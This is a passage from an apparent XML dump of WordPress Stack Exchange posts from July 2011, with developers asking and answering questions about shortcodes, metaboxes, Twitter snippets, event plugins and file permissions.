&amp;lt;/{$captiontag}&amp;gt;&quot;;&#xA;        }&#xA;        $output .= &quot;&amp;lt;/{$itemtag}&amp;gt;&quot;;&#xA;        if ( $columns &amp;gt; 0 &amp;amp;&amp;amp; ++$i % $columns == 0 )&#xA;            $output .= '&amp;lt;br style=&quot;clear: both&quot; /&amp;gt;';&#xA;    }&#xA;&#xA;    $output .= &quot;&#xA;            &amp;lt;br style='clear: both;' /&amp;gt;&#xA;        &amp;lt;/div&amp;gt;\n&quot;;&#xA;&#xA;    return $output;&#xA;}&#xA;add_filter( 'post_gallery', 'mytheme_gallery_shortcode', 10, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-07-19T20:06:49.900" LastActivityDate="2011-07-19T20:06:49.900" CommentCount="7" />
  <row Id="23335" PostTypeId="1" CreationDate="2011-07-18T14:37:53.877" Score="1" ViewCount="95" Body="&lt;p&gt;No matter what I try I can't seem to get the code snippets to work that will display the number of followers of Twitter.&#xA;I tried various ones as the Plugin I'm using is not showing the Twitter number at all, so I need to look for alternatives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I tried &lt;a href=&quot;http://www.wpbeginner.com/wp-tutorials/displaying-the-total-number-of-twitter-followers-as-text-on-wordpress/&quot; rel=&quot;nofollow&quot;&gt;this snippet&lt;/a&gt;, for example, I got the following error message:&#xA;&lt;a href=&quot;http://pastebin.com/iif9g35a&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/iif9g35a&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody any idea what's going wrong here?&#xA;I think it's strange that the &quot;Suscribers to text&quot; plugin doesn't display the number of followres to begin with - otherwise I wouldn't have to look for alternatives.&lt;/p&gt;&#xA;" OwnerUserId="6903" LastActivityDate="2011-07-21T12:13:42.297" Title="Show Twitter followers count snippets don't work" Tags="&lt;twitter&gt;" AnswerCount="4" CommentCount="3" />
  <row Id="23336" PostTypeId="2" ParentId="23259" CreationDate="2011-07-18T14:41:43.500" Score="0" ViewCount="" Body="&lt;p&gt;A friend found the perfect solution, so I think it's fair to share it with you guys:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function rats_class($classes){&#xA; global $post;&#xA; $cat=get_the_category(get_query_var('post'));&#xA; if(is_array($cat)&amp;amp;&amp;amp;!empty($cat)){&#xA;  if($cat[0]-&amp;gt;category_parent!=0){&#xA;   $parents=get_category_parents($cat[0]-&amp;gt;term_id,false,'@',true);&#xA;   if(!empty($parents)){&#xA;    $parent=explode('@',$parents);&#xA;    $classes[]='category-'.$parent[0];&#xA;   }&#xA;  }&#xA; }&#xA; return $classes;&#xA;}&#xA;add_filter('post_class','rats_class');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7097" LastActivityDate="2011-07-18T14:41:43.500" />
  <row Id="23337" PostTypeId="1" CreationDate="2011-07-18T14:44:38.847" Score="0" ViewCount="48" Body="&lt;p&gt;I started moving my posts arrangement from tags to subcategories, only the thing is that the post link is modified and contains the subcategory slug. Is there a way to remove ONLY the subcategory slug so my links stay the same?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know wordpress redirects the posts, but this solution is not viable for me.&lt;/p&gt;&#xA;" OwnerUserId="7097" LastEditorUserId="7097" LastEditorDisplayName="" LastEditDate="2011-07-18T14:54:03.337" LastActivityDate="2011-07-18T14:54:03.337" Title="Remove subcategory slug from URL" Tags="&lt;permalinks&gt;" />
  <row Id="23338" PostTypeId="2" ParentId="23335" CreationDate="2011-07-18T15:18:33.717" Score="0" ViewCount="" Body="&lt;p&gt;The snippet likely works, you've just not implemented it correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where did you save the code from the first code section in that example? where are you &lt;code&gt;including&lt;/code&gt; the code from?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;basically, the error is that the path to the file is not correct, it can't find the &lt;code&gt;twitter.php&lt;/code&gt; file you're trying to include.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if the twitter.php file is in the root of your theme directory, try including it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include( TEMPLATEPATH . '/twitter.php' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="4771" LastEditorDisplayName="" LastEditDate="2011-07-19T15:31:40.643" LastActivityDate="2011-07-19T15:31:40.643" CommentCount="3" />
  <row Id="23339" PostTypeId="1" CreationDate="2011-07-18T15:04:34.227" Score="0" ViewCount="88" Body="&lt;p&gt;I'm using the &lt;a href=&quot;http://wordpress.org/extend/plugins/gd-star-rating/&quot; rel=&quot;nofollow&quot;&gt;GD Star Rating plugin&lt;/a&gt; in Wordpress, and it is working great for voting, but I'm having trouble with showing results for a specific post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am pulling title and short description from most recent posts in a certain category, and I am placing the following code to pull in current results.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo do_shortcode('[starreview tpl=16]') ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is pulling up blank ratings (i.e. showing stars as if no votes have been cast). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using &lt;code&gt;starreview&lt;/code&gt; in this area as I don't wish to allow voting in this area (just on the post page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be wrong?&lt;/p&gt;&#xA;" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-07-18T15:48:00.207" LastActivityDate="2011-07-18T15:48:00.207" Title="Wordpress - show results per post on GD Star Rating plugin" Tags="&lt;plugins&gt;&lt;plugin-gd-star-rating&gt;&lt;rating&gt;&lt;do-shortcode&gt;" />
  <row Id="23340" PostTypeId="1" AcceptedAnswerId="23345" CreationDate="2011-07-18T15:32:06.413" Score="0" ViewCount="44" Body="&lt;p&gt;So hard to find this info...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to know a way to find out if there are pages. Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (has_pages()) { /* do something */ }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't find a reference to any similar function... how might one go about finding out if there are pages. In case yr wondering I'd like to only show a pages menu if there are pages.&lt;/p&gt;&#xA;" OwnerUserId="6068" LastActivityDate="2011-07-18T16:18:08.097" Title="Check if has pages?" Tags="&lt;pages&gt;&lt;menus&gt;&lt;conditional-content&gt;" AnswerCount="2" />
  <row Id="23341" PostTypeId="2" ParentId="23340" CreationDate="2011-07-18T15:43:51.437" Score="0" ViewCount="" Body="&lt;p&gt;You might try using &lt;code&gt;wp_count_posts&lt;/code&gt;, which will return an object with post statuses as properties. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$count_pages = wp_count_posts( 'page' );&#xA;if ( $count_pages-&amp;gt;publish &amp;gt; 0) {&#xA;   /* do something */&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to count all of the various statuses together, I imagine you'd just have to do a little addition before doing the compare.&lt;/p&gt;&#xA;" OwnerUserId="2226" LastActivityDate="2011-07-18T15:43:51.437" CommentCount="2" />
  <row Id="23343" PostTypeId="1" CreationDate="2011-07-18T16:09:09.407" Score="0" ViewCount="25" Body="&lt;p&gt;i have recently installed a 'thumb-nav' feature in one of our projects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows the user to brows the pages (or posts as its run by WP) via their thumbnails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please see this in action here: &lt;a href=&quot;http://skateboardingphoto.co.uk/issue-5-skateboarding-photos/al-collins-switch-ollie-dublin-1998&quot; rel=&quot;nofollow&quot;&gt;http://skateboardingphoto.co.uk/issue-5-skateboarding-photos/al-collins-switch-ollie-dublin-1998&lt;/a&gt; Click the grey bar at the footer to expand and retract.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to have the current page (or post as its run by WP!) highlighted in some way...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The post thumbs are called in through a query_posts call for the current category. Can someone explain to me how i might achieve this, or where to look for answers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="4181" LastActivityDate="2011-08-18T11:26:29.480" Title="Query_posts current post Highlighting" Tags="&lt;categories&gt;&lt;query-posts&gt;&lt;wp-query&gt;" AnswerCount="1" />
  <row Id="23344" PostTypeId="1" CreationDate="2011-07-18T16:17:39.343" Score="1" ViewCount="79" Body="&lt;p&gt;I have a custom post with a lot of meta boxes. I recently tried to add some dynamic metaboxes, using this question: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/19838/create-more-meta-boxes-as-needed&quot;&gt;Create more Meta Boxes as needed.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I managed to get the metaboxes to add nicely, the jquery works, everything works except the save_post action. What have I done wrong in my code? I'm sure it must be something very simple that I'm overlooking?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action('save_post', 'save_postdata'); // saves post data from another function earlier on&#xA;add_action('save_post', 'save_postdata_dynamic_reviews_metabox' );&#xA;add_meta_box(&quot;film-reviews&quot;, &quot;Reviews&quot;, &quot;print_dynamic_reviews_metabox&quot;, &quot;film&quot;, &quot;normal&quot;, &quot;low&quot;);&#xA;&#xA;/* Prints the box content */&#xA;function print_dynamic_reviews_metabox() {&#xA;    global $post;&#xA;    // Use nonce for verification&#xA;&#xA;        echo '&amp;lt;input type=&quot;hidden&quot; name=&quot;reviews_noncename&quot; id=&quot;reviews_noncename&quot; value=&quot;' . wp_create_nonce( 'reviews-nonce' ) . '&quot; /&amp;gt;';&#xA;        echo '&amp;lt;div id=&quot;meta_inner-reviews&quot;&amp;gt;';&#xA;        echo '&amp;lt;ol id=&quot;reviews-meta&quot;&amp;gt;';&#xA;    $reviews = get_post_meta($post-&amp;gt;ID,'reviews',true); //get any previously saved meta as an array so we can display it&#xA;    // print_r($reviews);&#xA;    $c = 0;&#xA;    if( is_array($reviews) ) {&#xA;      foreach($reviews as $review ) {&#xA;                if (isset($review['review-name']) || isset($review['review-link']) ) {&#xA;          echo '&#xA;                        &amp;lt;li&amp;gt;&amp;lt;span class=&quot;remove-review&quot; title=&quot;Delete&quot;&amp;gt;Remove&amp;lt;/span&amp;gt;&#xA;                       &amp;lt;label&amp;gt;&amp;lt;strong&amp;gt;Review Name/Title:&amp;lt;/strong&amp;gt; &amp;lt;input type=&quot;text&quot; class=&quot;meta-review-name saveddata&quot; name=&quot;reviews['.$c.'][review-name]&quot; value=&quot;'.$review['review-name'].'&quot; /&amp;gt;&amp;lt;/label&amp;gt;&#xA;                         &amp;lt;label&amp;gt;&amp;lt;strong&amp;gt;Review URL:&amp;lt;/strong&amp;gt; (don\'t forget the http://) &amp;lt;input type=&quot;text&quot; class=&quot;meta-review-url saveddata&quot; name=&quot;reviews['.$c.'][review-url]&quot; value=&quot;'.$review['review-url'].'&quot; /&amp;gt;&amp;lt;/label&amp;gt;';&#xA;                    echo '&amp;lt;span class=&quot;remove-review&quot; title=&quot;Delete&quot;&amp;gt;Remove&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;';&#xA;          $c = $c +1;&#xA;          } // ends if isset $award[album]&#xA;        } // ends foreach&#xA;            } // ends if (is_array)&#xA;        echo '&amp;lt;/ol&amp;gt;';&#xA;    echo '&amp;lt;span class=&quot;add-review&quot;&amp;gt;Add New Review&amp;lt;/span&amp;gt;';&#xA;        ?&amp;gt;&#xA;            &amp;lt;script&amp;gt;&#xA;                var $ =jQuery.noConflict();&#xA;                $(document).ready(function() {&#xA;                    var count = &amp;lt;?php echo $c; ?&amp;gt;;&#xA;                    $(&quot;.add-review&quot;).click(function() {&#xA;                        count = count + 1;&#xA;                        $('#reviews-meta').append('&amp;lt;li&amp;gt;&amp;lt;span class=&quot;remove-review&quot; title=&quot;Delete&quot;&amp;gt;Remove&amp;lt;/span&amp;gt; &amp;lt;label&amp;gt;&amp;lt;strong&amp;gt;Review Name/Title:&amp;lt;/strong&amp;gt; &amp;lt;input type=&quot;text&quot; class=&quot;meta-review-name&quot; name=&quot;reviews['+count+'][review-name]&quot; value=&quot;&quot; /&amp;gt;&amp;lt;/label&amp;gt; &amp;lt;label&amp;gt;&amp;lt;strong&amp;gt;Review URL:&amp;lt;/strong&amp;gt; (don\'t forget the http://) &amp;lt;input type=&quot;text&quot; class=&quot;meta-review-url&quot; name=&quot;reviews['+count+'][review-url]&quot; value=&quot;&quot; /&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/li&amp;gt; &amp;lt;span class=&quot;remove-review&quot; title=&quot;Delete&quot;&amp;gt;Remove&amp;lt;/span&amp;gt;');&#xA;                        return false;&#xA;                    });&#xA;                    $(&quot;.remove-review&quot;).live('click', function() {&#xA;                        $(this).parent().remove();&#xA;                    });&#xA;                });&#xA;              &amp;lt;/script&amp;gt;&#xA;&#xA;     &amp;lt;?php&#xA;     echo '&amp;lt;/div&amp;gt;'; // ends div#meta_inner&#xA;} // ends function print_dynamic_reviews_metabox()&#xA;&#xA;&#xA;function save_postdata_dynamic_reviews_metabox( $post_id ) {&#xA;  // verify if this is an auto save routine.&#xA;  // If it is our form has not been submitted, so we dont want to do anything&#xA;    if ( defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE ) {&#xA;        return;&#xA;        }&#xA;    // Check permissions&#xA;    if ( 'page' == $_POST['post_type'] ) { if ( !current_user_can( 'edit_page', $post_id )) { return $post_id; }}&#xA;    elseif ( !current_user_can( 'edit_post', $post_id )) { return $post_id;}&#xA;&#xA;  // verify this came from the our screen and with proper authorization,&#xA;  // because save_post can be triggered at other times&#xA;    if (isset($_POST['reviews-nonce'])){&#xA;        if ( !wp_verify_nonce( $_POST['reviews-nonce'], 'reviews-nonce' ) )&#xA;            return;&#xA;    }else{return;}&#xA;&#xA;    // OK, we're authenticated: we need to find and save the data&#xA;    $reviews = $_POST['reviews'];&#xA;    update_post_meta($post_id,'reviews',$reviews);&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit: I know I can do all of this with one &lt;code&gt;save_post&lt;/code&gt;, and that works for this example, but if I add a second dynamic metabox section, that data doesn't save.&lt;/p&gt;&#xA;" OwnerUserId="1118" LastEditorUserId="1118" LastEditorDisplayName="" LastEditDate="2011-07-18T16:24:08.920" LastActivityDate="2011-07-19T02:36:14.077" Title="Why won't my metabox data save?" Tags="&lt;custom-post-types&gt;&lt;save-post&gt;&lt;add-meta-box&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="23345" PostTypeId="2" ParentId="23340" CreationDate="2011-07-18T16:18:08.097" Score="1" ViewCount="" Body="&lt;p&gt;You could also use &lt;code&gt;wp_list_pages()&lt;/code&gt; (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_list_pages&quot; rel=&quot;nofollow&quot;&gt;Codex ref&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$has_pages = wp_list_pages( array( 'echo' =&amp;gt; false ) );&#xA;&#xA;if ( $has_pages ) {&#xA;    // There are pages; do something&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-18T16:18:08.097" />
  <row Id="23346" PostTypeId="2" ParentId="23084" CreationDate="2011-07-18T16:55:30.147" Score="0" ViewCount="" Body="&lt;p&gt;Easiest way: open your archives.php template (or index.php if no archives.php) and copy it over to a new template and name it &quot;archives-{post-type-name}.php&quot;, then open it and remove the pagination function.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-07-18T16:55:30.147" />
  <row Id="23347" PostTypeId="1" AcceptedAnswerId="23349" CreationDate="2011-07-18T17:22:36.860" Score="0" ViewCount="56" Body="&lt;p&gt;I am working on a site that has the option of using&#xA;Event Expresso&#xA;Event Manager Pro&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The events part of the site is quite complicated, and needs to have&#xA;- a calendar&#xA;- a registration page&#xA;- 'buy tickets' functionality with both Paypal and &lt;a href=&quot;http://www.authorize.net/&quot; rel=&quot;nofollow&quot;&gt;http://www.authorize.net/&lt;/a&gt; &#xA;-  email confirmations&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't worked a lot with event plugins, can anyone recommend one of the above plugins over the other?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It sounds like there might be quite a lot of customization required, so I guess part of this question is, &quot;Which is the easiest to customize?&quot;&lt;/p&gt;&#xA;" OwnerUserId="2417" LastActivityDate="2011-07-18T19:42:08.133" Title="Event Management plugin" Tags="&lt;events&gt;&lt;calendar&gt;&lt;plugin-shopp&gt;" AnswerCount="2" />
  <row Id="23348" PostTypeId="2" ParentId="23275" CreationDate="2011-07-18T17:37:15.010" Score="0" ViewCount="" Body="&lt;p&gt;Found it!  It was happening in FireFox but not Chrome.  I looked at all my FireFox Extensions, and found &quot;Browser Enhancements 1.0&quot; and &quot;Browser Coupons 1.0&quot;&#xA;&lt;a href=&quot;http://www.webenhancements.me/&quot; rel=&quot;nofollow&quot;&gt;http://www.webenhancements.me/&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other URL was searchdock.me, and was reported as a &quot;threat&quot; here: &#xA;&lt;a href=&quot;http://www.threatexpert.com/report.aspx?md5=af6cc99d717c0daef65a9dafd6c45db7&quot; rel=&quot;nofollow&quot;&gt;http://www.threatexpert.com/report.aspx?md5=af6cc99d717c0daef65a9dafd6c45db7&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure when I installed these or why, but I don't think they were related to the hacking incident.  It was just that when i was analyzing the hack incident carefully, I discovered these &quot;extras&quot; that probably didn't need to be on my machine anyway. &lt;/p&gt;&#xA;" OwnerUserId="2550" LastEditorUserId="2550" LastEditorDisplayName="" LastEditDate="2011-07-18T17:42:55.587" LastActivityDate="2011-07-18T17:42:55.587" />
  <row Id="23349" PostTypeId="2" ParentId="23347" CreationDate="2011-07-18T17:58:59.760" Score="0" ViewCount="" Body="&lt;p&gt;I know this does not meet your requirement of supporting Paypal and Authorize.net, but it does support Eventbrite, so it may be worth looking into:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/the-events-calendar/&quot; rel=&quot;nofollow&quot;&gt;The Events Calendar&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-07-18T17:58:59.760" />
  <row Id="23350" PostTypeId="2" ParentId="23326" CreationDate="2011-07-18T18:03:47.323" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://coding.smashingmagazine.com/2010/02/07/simplefolio-a-free-clean-portfolio-wordpress-theme/&quot; rel=&quot;nofollow&quot;&gt;Simplefolio&lt;/a&gt; is a great option. (Note a &lt;a href=&quot;http://www.slimmity.com/&quot; rel=&quot;nofollow&quot;&gt;new version will be out soon&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Features:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;CSS-based layout&lt;/li&gt;&#xA;&lt;li&gt;2 columns of fixed width&lt;/li&gt;&#xA;&lt;li&gt;XHTML 1.0 Transitional valid&lt;/li&gt;&#xA;&lt;li&gt;Multi-browser compatibility: tested on Firefox, Safari , IE7, IE8, Chrome&lt;/li&gt;&#xA;&lt;li&gt;Easy to setup, theme options page&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-07-18T18:03:47.323" />
  <row Id="23351" PostTypeId="1" CreationDate="2011-07-18T18:15:06.527" Score="0" ViewCount="31" Body="&lt;p&gt;Will there be any issues with creating a custom form in the index page?  Will I be able to get and post requests?  It's a simple email validation form and once validated, the user will be able to download a file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="7117" LastActivityDate="2011-08-20T22:32:46.983" Title="Custom forms with HTML" Tags="&lt;php&gt;&lt;html&gt;&lt;forms&gt;" AnswerCount="1" />
  <row Id="23352" PostTypeId="1" CreationDate="2011-07-18T19:02:19.500" Score="0" ViewCount="10" Body="&lt;p&gt;&lt;a href=&quot;http://www.msichicago.org/education/educator-resources/classroom-activities/&quot; rel=&quot;nofollow&quot;&gt;http://www.msichicago.org/education/educator-resources/classroom-activities/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody have any good leads on creating a search function for the user similiar to the link above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking at some plugins..but they seem outdated. I'd like to provide input check boxes for custom (tags)taxonmies, and dropdowns for custom (category)taxonomies&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any hint or refrences would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3081" LastActivityDate="2011-07-18T19:02:19.500" Title="Advance Search Input" Tags="&lt;plugins&gt;&lt;plugin-wpsearch&gt;" />
  <row Id="23353" PostTypeId="1" AcceptedAnswerId="23355" CreationDate="2011-07-18T19:03:44.237" Score="0" ViewCount="19" Body="&lt;p&gt;I am trying to delete some plugins via the Wordpress admin panel. Sometimes it deletes the plugin quite quickly, but other times it hangs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have access to my server, is there anything I can do to speed the performance up?&lt;/p&gt;&#xA;" OwnerUserId="2417" LastActivityDate="2011-07-18T19:22:42.877" Title="Wordpress FTP via admin panel slow" Tags="&lt;server&gt;&lt;ftp&gt;" AnswerCount="1" />
  <row Id="23354" PostTypeId="2" ParentId="23343" CreationDate="2011-07-18T19:15:29.783" Score="0" ViewCount="" Body="&lt;p&gt;In the code loop that will be directly after your query_posts statement, there will be the logic that prints out each li element that makes up the thumbnail list. Simply add in an if/then statement that will add a class (e.g. &quot;current_post&quot;) on that list item if that is the page that you are on currently. Then add CSS to highlight:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.current_post {&#xA;    border-color:#9B0000;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-07-18T19:15:29.783" />
  <row Id="23355" PostTypeId="2" ParentId="23353" CreationDate="2011-07-18T19:22:42.877" Score="1" ViewCount="" Body="&lt;p&gt;Is it a shared hosting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try rising the php memory limit. That will make wordpress admin go faster and your blog!&lt;/p&gt;&#xA;" OwnerUserId="5778" LastActivityDate="2011-07-18T19:22:42.877" />
  <row Id="23356" PostTypeId="2" ParentId="23347" CreationDate="2011-07-18T19:42:08.133" Score="0" ViewCount="" Body="&lt;p&gt;or &lt;a href=&quot;http://wordpress.org/extend/plugins/events-manager-extended/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/events-manager-extended/&lt;/a&gt;&#xA;good support via forum and many possibilities&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-07-18T19:42:08.133" />
  <row Id="23357" PostTypeId="2" ParentId="23309" CreationDate="2011-07-18T19:42:21.930" Score="1" ViewCount="" Body="&lt;p&gt;save the main current post id into a variable and compare it in the loop with the current post id; example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $this_post = $post-&amp;gt;ID; ?&amp;gt;&#xA;  &amp;lt;?php $temp_query = $wp_query; ?&amp;gt;                     &#xA;  &amp;lt;?php foreach(get_the_category() as $category) {                         &#xA;  $cat = $category-&amp;gt;cat_ID; &#xA;  }                         &#xA;query_posts('orderby=date&amp;amp;cat=' . $cat . '&amp;amp;order=desc&amp;amp;posts_per_page=-1');  &#xA;while( have_posts() ) : ?&amp;gt;&#xA;  &amp;lt;span&amp;lt;?php if( $this_post == $post-&amp;gt;ID ) { echo ' class=&quot;current&quot;'; } ?&amp;gt;&amp;gt;&#xA;   /*output of your posts here*/&#xA;  &amp;lt;/span&amp;gt;&#xA;&amp;lt;?php endwhile;                    &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-07-18T19:42:21.930" CommentCount="1" />
  <row Id="23358" PostTypeId="2" ParentId="23235" CreationDate="2011-07-18T19:49:25.603" Score="0" ViewCount="" Body="&lt;p&gt;Use the function flush_rewrite_rules() for set the rewrite rules new, but not with your code on init-hook, only on activation plugin or theme! See more in my post: &lt;a href=&quot;http://wpengineer.com/2044/custom-post-type-and-permalink/&quot; rel=&quot;nofollow&quot;&gt;http://wpengineer.com/2044/custom-post-type-and-permalink/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And an example on this Gist: &lt;a href=&quot;https://gist.github.com/978690&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/978690&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        global $wp_rewrite;&#xA;        $wp_rewrite-&amp;gt;flush_rules();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;via Hook&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_activation_hook()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-07-18T19:49:25.603" />
  <row Id="23359" PostTypeId="2" ParentId="23158" CreationDate="2011-07-18T19:50:50.690" Score="0" ViewCount="" Body="&lt;p&gt;I have write an plugin for this job.&#xA;&lt;a href=&quot;https://github.com/bueltge/Remove-Comments-Absolutely&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bueltge/Remove-Comments-Absolutely&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress has on many different points jobs and views for comments, if you will not use all this, use the plugin or customize the source for your requirements.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-07-18T19:50:50.690" />
  <row Id="23360" PostTypeId="1" AcceptedAnswerId="23370" CreationDate="2011-07-18T19:54:05.540" Score="0" ViewCount="10" Body="&lt;p&gt;I am on a (non-hosted) server...what level of permissions should my plugins folder (and everything inside of it) be set to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I seem to be having issues deleting or moving files inside of this folder...&lt;/p&gt;&#xA;" OwnerUserId="2417" LastActivityDate="2011-07-18T20:49:54.047" Title="What level of permissions should the plugins folder be set to?" Tags="&lt;server&gt;" AnswerCount="1" />
  <row Id="23361" PostTypeId="2" ParentId="23335" CreationDate="2011-07-18T19:57:52.820" Score="1" ViewCount="" Body="&lt;p&gt;If the file is in your theme folder, instead of using &lt;code&gt;include&lt;/code&gt;, try &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_template_part&quot; rel=&quot;nofollow&quot;&gt;get_template_part&lt;/a&gt;. &lt;code&gt;get_template_part( 'twitter.php' );&lt;/code&gt;  &lt;/p&gt;&#xA;" OwnerUserId="6035" LastActivityDate="2011-07-18T19:57:52.820" CommentCount="3" />
  <row Id="23362" PostTypeId="1" AcceptedAnswerId="23373" CreationDate="2011-07-18T20:01:33.427" Score="0" ViewCount="45" Body="&lt;p&gt;&lt;strong&gt;Short Version&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to give in the absolute path of a Javascript file that is to be hooked into something. It works if I hardcode it into&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'http://mywebsite.com/folder/script.js'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I prefer not to hardcode it in. I can do &lt;code&gt;dirname(___FILE___)&lt;/code&gt;, which gives me this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'/home/public_html/folder/script.js'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But that fails, the script isn't loaded. What's the best practice to find the absolute path (starting with 'http://')?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Long Version&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On &lt;a href=&quot;http://codex.wordpress.org/TinyMCE_Custom_Buttons&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt; in the Wordpress documentation relating to the tinyMCE plugin creation, I found this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Load the TinyMCE plugin : editor_plugin.js (wp2.5)&#xA;function add_myplugin_tinymce_plugin($plugin_array) {&#xA;   $plugin_array['myplugin'] = URLPATH.'tinymce/editor_plugin.js';&#xA;   return $plugin_array;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's a note at the bottom saying:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Note: when using the mce_external_plugins filter, the url should point&#xA;  to the actual plugin file, as in the example above.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A bit higher in the documentation they say&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;mce_external_plugins: passes in/out an associative php array&#xA;  'plugin_name' =&gt; 'plugin_url'. The url should be absolute and on the&#xA;  same domain as your WordPress 